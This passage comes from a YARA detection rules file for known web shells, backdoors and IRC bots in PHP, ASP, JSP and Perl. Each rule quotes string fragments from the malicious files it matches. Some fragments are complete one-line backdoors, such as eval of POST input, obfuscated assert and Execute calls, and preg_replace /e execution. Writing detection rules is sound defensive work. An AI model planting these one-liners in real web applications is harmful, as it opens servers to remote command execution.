		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<a class=\"high2\" href=\"javascript:;;;\" name=\"action=show&dir=$_ipage_fi"
		$s7 = "$file = !empty($_POST[\"dir\"]) ? urldecode(self::convert_to_utf8(rtrim($_PO"
		$s10 = "if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_"
		$s14 = "Processed in <span id=\"runtime\"></span> second(s) {gzip} usage:"
		$s17 = "<a href=\"javascript:;;;\" name=\"{return_link}\" onclick=\"fileperm"

	condition:
		1 of them
}

rule webshell_webshells_new_jspyyy
{
	meta:
		description = "Web shells - generated from file jspyyy.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "b291bf3ccc9dac8b5c7e1739b8fa742e"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%@page import=\"java.io.*\"%><%if(request.getParameter(\"f\")"

	condition:
		all of them
}

rule webshell_webshells_new_xxxx
{
	meta:
		description = "Web shells - generated from file xxxx.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "5bcba70b2137375225d8eedcde2c0ebb"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<?php eval($_POST[1]);?>  " fullword

	condition:
		all of them
}

rule webshell_webshells_new_JJjsp3
{
	meta:
		description = "Web shells - generated from file JJjsp3.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "949ffee1e07a1269df7c69b9722d293e"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\"%><%!S"

	condition:
		all of them
}

rule webshell_webshells_new_PHP1
{
	meta:
		description = "Web shells - generated from file PHP1.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "14c7281fdaf2ae004ca5fec8753ce3cb"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<[url=mailto:?@array_map($_GET[]?@array_map($_GET['f'],$_GET[/url]);?>" fullword
		$s2 = ":https://forum.90sec.org/forum.php?mod=viewthread&tid=7316" fullword
		$s3 = "@preg_replace(\"/f/e\",$_GET['u'],\"fengjiao\"); " fullword

	condition:
		1 of them
}

rule webshell_webshells_new_JJJsp2
{
	meta:
		description = "Web shells - generated from file JJJsp2.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "5a9fec45236768069c99f0bfd566d754"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "QQ(cs, z1, z2, sb,z2.indexOf(\"-to:\")!=-1?z2.substring(z2.indexOf(\"-to:\")+4,z"
		$s8 = "sb.append(l[i].getName() + \"/\\t\" + sT + \"\\t\" + l[i].length()+ \"\\t\" + sQ"
		$s10 = "ResultSet r = s.indexOf(\"jdbc:oracle\")!=-1?c.getMetaData()"
		$s11 = "return DriverManager.getConnection(x[1].trim()+\":\"+x[4],x[2].equalsIgnoreCase("

	condition:
		1 of them
}

rule webshell_webshells_new_radhat
{
	meta:
		description = "Web shells - generated from file radhat.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "72cb5ef226834ed791144abaa0acdfd4"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "sod=Array(\"D\",\"7\",\"S"

	condition:
		all of them
}

rule webshell_webshells_new_asp1
{
	meta:
		description = "Web shells - generated from file asp1.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "b63e708cd58ae1ec85cf784060b69cad"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = " http://www.baidu.com/fuck.asp?a=)0(tseuqer%20lave " fullword
		$s2 = " <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>" fullword

	condition:
		1 of them
}

rule webshell_webshells_new_php6
{
	meta:
		description = "Web shells - generated from file php6.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "ea75280224a735f1e445d244acdfeb7b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "array_map(\"asx73ert\",(ar"
		$s3 = "preg_replace(\"/[errorpage]/e\",$page,\"saft\");" fullword
		$s4 = "shell.php?qid=zxexp  " fullword

	condition:
		1 of them
}

rule webshell_webshells_new_xxx
{
	meta:
		description = "Web shells - generated from file xxx.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "0e71428fe68b39b70adb6aeedf260ca0"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "<?php array_map(\"ass\\x65rt\",(array)$_REQUEST['expdoor']);?>" fullword

	condition:
		all of them
}

rule webshell_GetPostpHp
{
	meta:
		description = "Web shells - generated from file GetPostpHp.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "20ede5b8182d952728d594e6f2bb5c76"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>" fullword

	condition:
		all of them
}

rule webshell_webshells_new_php5
{
	meta:
		description = "Web shells - generated from file php5.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "cf2ab009cbd2576a806bfefb74906fdf"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_u"

	condition:
		all of them
}

rule webshell_webshells_new_PHP
{
	meta:
		description = "Web shells - generated from file PHP.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "a524e7ae8d71e37d2fd3e5fbdab405ea"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "echo \"<font color=blue>Error!</font>\";" fullword
		$s2 = "<input type=\"text\" size=61 name=\"f\" value='<?php echo $_SERVER[\"SCRIPT_FILE"
		$s5 = " - ExpDoor.com</title>" fullword
		$s10 = "$f=fopen($_POST[\"f\"],\"w\");" fullword
		$s12 = "<textarea name=\"c\" cols=60 rows=15></textarea><br>" fullword

	condition:
		1 of them
}

rule webshell_webshells_new_Asp
{
	meta:
		description = "Web shells - generated from file Asp.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "32c87744ea404d0ea0debd55915010b7"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "Execute MorfiCoder(\")/*/z/*/(tseuqer lave\")" fullword
		$s2 = "Function MorfiCoder(Code)" fullword
		$s3 = "MorfiCoder=Replace(Replace(StrReverse(Code),\"/*/\",\"\"\"\"),\"\\*\\\",vbCrlf)" fullword

	condition:
		1 of them
}

rule perlbot_pl
{
	meta:
		description = "Semi-Auto-generated  - file perlbot.pl.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "7e4deb9884ffffa5d82c22f8dc533a45"
		id = "378cb0e4-2069-50b7-ab3e-5a81055e9983"

	strings:
		$s0 = "my @adms=(\"Kelserific\",\"Puna\",\"nod32\")"
		$s1 = "#Acesso a Shel - 1 ON 0 OFF"

	condition:
		1 of them
}

rule php_backdoor_php
{
	meta:
		description = "Semi-Auto-generated  - file php-backdoor.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "2b5cb105c4ea9b5ebc64705b4bd86bf7"
		id = "aca53071-f793-538d-bbeb-34469cdb4d1f"

	strings:
		$s0 = "http://michaeldaw.org   2006"
		$s1 = "or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win"
		$s3 = "coded by z0mbie"

	condition:
		1 of them
}

rule Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_php
{
	meta:
		description = "Semi-Auto-generated  - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "c6eeacbe779518ea78b8f7ed5f63fc11"
		id = "e91114ce-18f9-51cd-b41c-b796960ea4fe"

	strings:
		$s0 = "<option value=\"cat /var/cpanel/accounting.log\">/var/cpanel/accounting.log</opt"
		$s1 = "Liz0ziM Private Safe Mode Command Execuriton Bypass"
		$s2 = "echo \"<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>\";" fullword

	condition:
		1 of them
}

rule Nshell__1__php_php
{
	meta:
		description = "Semi-Auto-generated  - file Nshell (1).php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "973fc89694097a41e684b43a21b1b099"
		id = "44e8b6c5-6f41-5c37-a083-26acedd91956"

	strings:
		$s0 = "echo \"Command : <INPUT TYPE=text NAME=cmd value=\".@stripslashes(htmlentities($"
		$s1 = "if(!$whoami)$whoami=exec(\"whoami\"); echo \"whoami :\".$whoami.\"<br>\";" fullword

	condition:
		1 of them
}

rule shankar_php_php
{
	meta:
		description = "Semi-Auto-generated  - file shankar.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "6eb9db6a3974e511b7951b8f7e7136bb"
		id = "0c8ab3eb-574b-5e5a-8117-4efecef94f83"

	strings:
		$sAuthor = "ShAnKaR"
		$s0 = "<input type=checkbox name='dd' \".(isset($_POST['dd'])?'checked':'').\">DB<input"
		$s3 = "Show<input type=text size=5 value=\".((isset($_POST['br_st']) && isset($_POST['b"

	condition:
		1 of ( $s* ) and $sAuthor
}

rule Casus15_php_php
{
	meta:
		description = "Semi-Auto-generated  - file Casus15.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "5e2ede2d1c4fa1fcc3cbfe0c005d7b13"
		id = "ba6748a2-fb80-5eda-816c-155bab9285e5"

	strings:
		$s0 = "copy ( $dosya_gonder2, \"$dir/$dosya_gonder2_name\") ? print(\"$dosya_gonder2_na"
		$s2 = "echo \"<center><font size='$sayi' color='#FFFFFF'>HACKLERIN<font color='#008000'"
		$s3 = "value='Calistirmak istediginiz "

	condition:
		1 of them
}

rule small_php_php
{
	meta:
		description = "Semi-Auto-generated  - file small.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "fcee6226d09d150bfa5f103bee61fbde"
		id = "cf4fb88f-a312-560d-be0b-b55bfcb889be"

	strings:
		$s1 = "$pass='abcdef1234567890abcdef1234567890';" fullword
		$s2 = "eval(gzinflate(base64_decode('FJzHkqPatkU/550IGnjXxHvv6bzAe0iE5+svFVGtKqXMZq05x1"
		$s4 = "@ini_set('error_log',NULL);" fullword

	condition:
		2 of them
}

rule shellbot_pl
{
	meta:
		description = "Semi-Auto-generated  - file shellbot.pl.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "b2a883bc3c03a35cfd020dd2ace4bab8"
		id = "07c145b1-c9f7-564a-b354-a6d2072f380c"

	strings:
		$s0 = "ShellBOT"
		$s1 = "PacktsGr0up"
		$s2 = "CoRpOrAtIoN"
		$s3 = "# Servidor de irc que vai ser usado "
		$s4 = "/^ctcpflood\\s+(\\d+)\\s+(\\S+)"

	condition:
		2 of them
}

rule fuckphpshell_php
{
	meta:
		description = "Semi-Auto-generated  - file fuckphpshell.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "554e50c1265bb0934fcc8247ec3b9052"
		id = "010db63b-ff72-5f97-8651-a1c7851471ff"

	strings:
		$s0 = "$succ = \"Warning! "
		$s1 = "Don`t be stupid .. this is a priv3 server, so take extra care!"
		$s2 = "\\*=-- MEMBERS AREA --=*/"
		$s3 = "preg_match('/(\\n[^\\n]*){' . $cache_lines . '}$/', $_SESSION['o"

	condition:
		2 of them
}

rule ngh_php_php
{
	meta:
		description = "Semi-Auto-generated  - file ngh.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "c372b725419cdfd3f8a6371cfeebc2fd"
		id = "2d8ff3c1-d6b3-57ce-8213-232b376dbd05"

	strings:
		$s0 = "Cr4sh_aka_RKL"
		$s1 = "NGH edition"
		$s2 = "/* connectback-backdoor on perl"
		$s3 = "<form action=<?=$script?>?act=bindshell method=POST>"
		$s4 = "$logo = \"R0lGODlhMAAwAOYAAAAAAP////r"

	condition:
		1 of them
}

rule jsp_reverse_jsp
{
	meta:
		description = "Semi-Auto-generated  - file jsp-reverse.jsp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "8b0e6779f25a17f0ffb3df14122ba594"
		id = "4953b230-4cd9-55d6-a3cb-8d3713e7fb0c"

	strings:
		$s0 = "// backdoor.jsp"
		$s1 = "JSP Backdoor Reverse Shell"
		$s2 = "http://michaeldaw.org"

	condition:
		2 of them
}

rule Tool_asp
{
	meta:
		description = "Semi-Auto-generated  - file Tool.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "8febea6ca6051ae5e2ad4c78f4b9c1f2"
		id = "e5e727bd-836b-5540-8755-40f37904bc03"

	strings:
		$s0 = "mailto:rhfactor@antisocial.com"
		$s2 = "?raiz=root"
		$s3 = "DIGO CORROMPIDO<BR>CORRUPT CODE"
		$s4 = "key = \"5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA0"

	condition:
		2 of them
}

rule NT_Addy_asp
{
	meta:
		description = "Semi-Auto-generated  - file NT Addy.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "2e0d1bae844c9a8e6e351297d77a1fec"
		id = "18f5f360-8690-5e09-ac18-b8cc4f678811"

	strings:
		$s0 = "NTDaddy v1.9 by obzerve of fux0r inc"
		$s2 = "<ERROR: THIS IS NOT A TEXT FILE>"
		$s4 = "RAW D.O.S. COMMAND INTERFACE"

	condition:
		1 of them
}

rule SimAttacker___Vrsion_1_0_0___priv8_4_My_friend_php
{
	meta:
		description = "Semi-Auto-generated  - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
		id = "8a34f4fd-337d-5eb4-b7b7-4adb1c2b7937"

	strings:
		$s0 = "SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend"
		$s3 = " fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
		$s4 = "echo \"<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decora"

	condition:
		1 of them
}

rule RemExp_asp
{
	meta:
		description = "Semi-Auto-generated  - file RemExp.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
		id = "900036ce-ff13-5441-bb77-906ea08a4ca0"

	strings:
		$s0 = "<title>Remote Explorer</title>"
		$s3 = " FSO.CopyFile Request.QueryString(\"FolderPath\") & Request.QueryString(\"CopyFi"
		$s4 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"

	condition:
		2 of them
}

rule phvayvv_php_php
{
	meta:
		description = "Semi-Auto-generated  - file phvayvv.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "35fb37f3c806718545d97c6559abd262"
		id = "76351a59-8f52-5110-a9b8-36edd59026df"

	strings:
		$s0 = "{mkdir(\"$dizin/$duzenx2\",777)"
		$s1 = "$baglan=fopen($duzkaydet,'w');"
		$s2 = "PHVayv 1.0"

	condition:
		1 of them
}

rule klasvayv_asp
{
	meta:
		description = "Semi-Auto-generated  - file klasvayv.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "2b3e64bf8462fc3d008a3d1012da64ef"
		id = "3ca4c20c-f879-55a0-9070-d40fc903f9ae"

	strings:
		$s1 = "set aktifklas=request.querystring(\"aktifklas\")"
		$s2 = "action=\"klasvayv.asp?klasorac=1&aktifklas=<%=aktifklas%>&klas=<%=aktifklas%>"
		$s3 = "<font color=\"#858585\">www.aventgrup.net"
		$s4 = "style=\"BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT"

	condition:
		1 of them
}

rule r57shell_php_php
{
	meta:
		description = "Semi-Auto-generated  - file r57shell.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "d28445de424594a5f14d0fe2a7c4e94f"
		id = "1f1070e8-e82c-5cae-a64a-cd5028adae97"

	strings:
		$s1 = " else if ($HTTP_POST_VARS['with'] == \"lynx\") { $HTTP_POST_VARS['cmd']= \"lynx "
		$s2 = "RusH security team"
		$s3 = "'ru_text12' => 'back-connect"
		$s4 = "<title>r57shell</title>"

	condition:
		1 of them
}

rule rst_sql_php_php
{
	meta:
		description = "Semi-Auto-generated  - file rst_sql.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "0961641a4ab2b8cb4d2beca593a92010"
		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"

	strings:
		$s0 = "C:\\tmp\\dump_"
		$s1 = "RST MySQL"
		$s2 = "http://rst.void.ru"
		$s3 = "$st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';"

	condition:
		2 of them
}

rule wh_bindshell_py
{
	meta:
		description = "Semi-Auto-generated  - file wh_bindshell.py.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "fab20902862736e24aaae275af5e049c"
		id = "b7acbfe7-fd28-5832-9af2-1c5befe4bbab"

	strings:
		$s0 = "#Use: python wh_bindshell.py [port] [password]"
		$s2 = "python -c\"import md5;x=md5.new('you_password');print x.hexdigest()\"" fullword
		$s3 = "#bugz: ctrl+c etc =script stoped=" fullword

	condition:
		1 of them
}

rule lurm_safemod_on_cgi
{
	meta:
		description = "Semi-Auto-generated  - file lurm_safemod_on.cgi.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "5ea4f901ce1abdf20870c214b3231db3"
		id = "74e77260-a547-5553-8430-2620f8549f50"

	strings:
		$s0 = "Network security team :: CGI Shell" fullword
		$s1 = "#########################<<KONEC>>#####################################" fullword
		$s2 = "##if (!defined$param{pwd}){$param{pwd}='Enter_Password'};##" fullword

	condition:
		1 of them
}

rule c99madshell_v2_0_php_php
{
	meta:
		description = "Semi-Auto-generated  - file c99madshell_v2.0.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "d27292895da9afa5b60b9d3014f39294"
		id = "b0724920-dc1e-5819-a99b-618a9a7e1eca"

	strings:
		$s2 = "eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXef"

	condition:
		all of them
}

rule backupsql_php_often_with_c99shell
{
	meta:
		description = "Semi-Auto-generated  - file backupsql.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "ab1a06ab1a1fe94e3f3b7f80eedbc12f"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s2 = "//$message.= \"--{$mime_boundary}\\n\" .\"Content-Type: {$fileatt_type};\\n\" ."
		$s4 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"

	condition:
		all of them
}

rule uploader_php_php
{
	meta:
		description = "Semi-Auto-generated  - file uploader.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "0b53b67bb3b004a8681e1458dd1895d0"
		id = "62aa783b-f12f-5bb5-9d96-7aee1666788b"

	strings:
		$s2 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
		$s3 = "Send this file: <INPUT NAME=\"userfile\" TYPE=\"file\">" fullword
		$s4 = "<INPUT TYPE=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\">" fullword

	condition:
		2 of them
}

rule telnet_pl
{
	meta:
		description = "Semi-Auto-generated  - file telnet.pl.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "dd9dba14383064e219e29396e242c1ec"
		id = "be4de017-e929-5dd3-a60e-f187456b1a55"

	strings:
		$s0 = "W A R N I N G: Private Server"
		$s2 = "$Message = q$<pre><font color=\"#669999\"> _____  _____  _____          _____   "

	condition:
		all of them
}

rule w3d_php_php
{
	meta:
		description = "Semi-Auto-generated  - file w3d.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "987f66b29bfb209a0b4f097f84f57c3b"
		id = "1a4e3c84-2d3b-5245-bccc-9a5f59b9fc17"

	strings:
		$s0 = "W3D Shell"
		$s1 = "By: Warpboy"
		$s2 = "No Query Executed"

	condition:
		2 of them
}

rule WebShell_cgi
{
	meta:
		description = "Semi-Auto-generated  - file WebShell.cgi.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "bc486c2e00b5fc3e4e783557a2441e6f"
		id = "b768bb72-64e8-545a-9123-3d5889b58a82"

	strings:
		$s0 = "WebShell.cgi"
		$s2 = "<td><code class=\"entry-[% if entry.all_rights %]mine[% else"

	condition:
		all of them
}

rule WinX_Shell_html
{
	meta:
		description = "Semi-Auto-generated  - file WinX Shell.html.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "17ab5086aef89d4951fe9b7c7a561dda"
		id = "fe02d995-4375-5ce9-aabe-fae5d29278d3"

	strings:
		$s0 = "WinX Shell"
		$s1 = "Created by greenwood from n57"
		$s2 = "<td><font color=\\\"#990000\\\">Win Dir:</font></td>"

	condition:
		2 of them
}

rule Dx_php_php
{
	meta:
		description = "Semi-Auto-generated  - file Dx.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
		id = "67d0bccb-d39a-5e30-bdc0-801525ebddd7"

	strings:
		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
		$s2 = "$DEF_PORTS=array (1=>'tcpmux (TCP Port Service Multiplexer)',2=>'Management Util"
		$s3 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTTP"

	condition:
		1 of them
}

rule csh_php_php
{
	meta:
		description = "Semi-Auto-generated  - file csh.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "194a9d3f3eac8bc56d9a7c55c016af96"
		id = "da691516-d6c9-5c4b-85c3-f1cd7fc96ae7"

	strings:
		$s0 = ".::[c0derz]::. web-shell"
		$s1 = "http://c0derz.org.ua"
		$s2 = "vint21h@c0derz.org.ua"
		$s3 = "$name='63a9f0ea7bb98050796b649e85481845';//root"

	condition:
		1 of them
}

rule pHpINJ_php_php
{
	meta:
		description = "Semi-Auto-generated  - file pHpINJ.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "d7a4b0df45d34888d5a09f745e85733f"
		id = "7bf54ef4-a3d8-51c6-8db7-bf8947e992ed"

	strings:
		$s1 = "News Remote PHP Shell Injection"
		$s3 = "Php Shell <br />" fullword
		$s4 = "<input type = \"text\" name = \"url\" value = \""

	condition:
		2 of them
}

rule sig_2008_php_php
{
	meta:
		description = "Semi-Auto-generated  - file 2008.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "3e4ba470d4c38765e4b16ed930facf2c"
		id = "bfa3caa9-70a5-536b-a887-58427eee43df"

	strings:
		$s0 = "Codz by angel(4ngel)"
		$s1 = "Web: http://www.4ngel.net"
		$s2 = "$admin['cookielife'] = 86400;"
		$s3 = "$errmsg = 'The file you want Downloadable was nonexistent';"

	condition:
		1 of them
}

rule ak74shell_php_php
{
	meta:
		description = "Semi-Auto-generated  - file ak74shell.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "7f83adcb4c1111653d30c6427a94f66f"
		id = "eaf243cb-fa26-5f34-a724-60a08acff636"

	strings:
		$s1 = "$res .= '<td align=\"center\"><a href=\"'.$xshell.'?act=chmod&file='.$_SESSION["
		$s2 = "AK-74 Security Team Web Site: www.ak74-team.net"
		$s3 = "$xshell"

	condition:
		2 of them
}

rule Rem_View_php_php
{
	meta:
		description = "Semi-Auto-generated  - file Rem View.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "29420106d9a81553ef0d1ca72b9934d9"
		id = "6137434c-89e9-537b-9b26-b56178022b76"

	strings:
		$s0 = "$php=\"/* line 1 */\\n\\n// \".mm(\"for example, uncomment next line\").\""
		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
		$s4 = "Welcome to phpRemoteView (RemView)"

	condition:
		1 of them
}

rule Java_Shell_js
{
	meta:
		description = "Semi-Auto-generated  - file Java Shell.js.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "36403bc776eb12e8b7cc0eb47c8aac83"
		id = "eff52c3a-fc3a-5e80-8da9-786168159ebc"

	strings:
		$s2 = "PySystemState.initialize(System.getProperties(), null, argv);" fullword
		$s3 = "public class JythonShell extends JPanel implements Runnable {" fullword
		$s4 = "public static int DEFAULT_SCROLLBACK = 100"

	condition:
		2 of them
}

rule STNC_php_php
{
	meta:
		description = "Semi-Auto-generated  - file STNC.php.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "2e56cfd5b5014cbbf1c1e3f082531815"
		id = "8a7167f6-fa62-574f-a37c-3ceadc7f92ec"

	strings:
		$s0 = "drmist.ru" fullword
		$s1 = "hidden(\"action\",\"download\").hidden_pwd().\"<center><table><tr><td width=80"
		$s2 = "STNC WebShell"
		$s3 = "http://www.security-teams.net/index.php?showtopic="

	condition:
		1 of them
}

rule aZRaiLPhp_v1_0_php
{
	meta:
		description = "Semi-Auto-generated  - file aZRaiLPhp v1.0.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "26b2d3943395682e36da06ed493a3715"
		id = "60152b96-e8d3-5b06-a855-fb64a490742b"

	strings:
		$s0 = "azrailphp"
		$s1 = "<br><center><INPUT TYPE='SUBMIT' NAME='dy' VALUE='Dosya Yolla!'></center>"
		$s3 = "<center><INPUT TYPE='submit' name='okmf' value='TAMAM'></center>"

	condition:
		2 of them
}

rule Moroccan_Spamers_Ma_EditioN_By_GhOsT_php
{
	meta:
		description = "Semi-Auto-generated  - file Moroccan Spamers Ma-EditioN By GhOsT.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "d1b7b311a7ffffebf51437d7cd97dc65"
		id = "721d6e9f-a237-5462-a8d3-f838d7fda420"

	strings:
		$s0 = ";$sd98=\"john.barker446@gmail.com\""
		$s1 = "print \"Sending mail to $to....... \";"
		$s2 = "<td colspan=\"2\" width=\"715\" background=\"/simparts/images/cellpic1.gif\" hei"

	condition:
		1 of them
}

rule zacosmall_php
{
	meta:
		description = "Semi-Auto-generated  - file zacosmall.php.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "5295ee8dc2f5fd416be442548d68f7a6"
		id = "25946aa7-7c56-5670-ae2f-c55e65a3b911"

	strings:
		$s0 = "rand(1,99999);$sj98"
		$s1 = "$dump_file.='`'.$rows2[0].'`"
		$s3 = "filename=\\\"dump_{$db_dump}_${table_d"

	condition:
		2 of them
}

rule CmdAsp_asp
{
	meta:
		description = "Semi-Auto-generated  - file CmdAsp.asp.txt"
		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
		hash = "64f24f09ec6efaa904e2492dffc518b9"
		id = "79e0ba85-ed4b-5909-a2fd-9b4125598078"

	strings:
		$s0 = "CmdAsp.asp"
		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
